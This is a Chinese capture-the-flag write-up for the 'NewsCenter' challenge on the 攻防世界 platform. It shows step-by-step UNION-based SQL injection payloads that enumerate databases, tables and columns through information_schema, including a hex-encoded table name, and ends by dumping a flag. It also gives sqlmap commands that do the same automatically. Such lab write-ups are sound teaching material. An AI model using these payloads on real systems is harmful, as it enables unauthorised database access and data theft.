攻防世界(十)NewsCenter
攻防世界系列 :NewsCenter
方法一
1.打开题,看到搜索框首先想到的是sql注入
2.检查注入点
-1' union select 1,2,3#
存在注入漏洞
3.查库
附:Sql注入常见语句
-1' union select 1,2, group_concat(schema_name) from information_schema.schemata;#
可知服务器存在两个数据库information_schema
和news
。
4.查表
-1' union select 1,2, group_concat(table_name) from information_schema.tables#
看到secret_table
有没有很激动,哈哈哈
5.查字段
-1' union select 1,2, column_name from information_schema.columns where table_name=0x7365637265745f7461626c65
7365637265745f7461626c65
是对表名secret_table
进行16进制编码的结果
注入结果如下
肯定fl4g
啦!
6.查值
-1' union select 1,2,fl4g from secret_table#
成功Get Flag,一次顺利的解题~
方法二
1.查库
sqlmap -u URL --data="search=1" --dbs
2.查表
sqlmap -u URL --data="search=1" -D news --tables
3.查值
sqlmap -u URL --data="search=1" -T secret_table -dump
________________________________________________________
Every good deed you do will someday come back to you.
Love you,love word !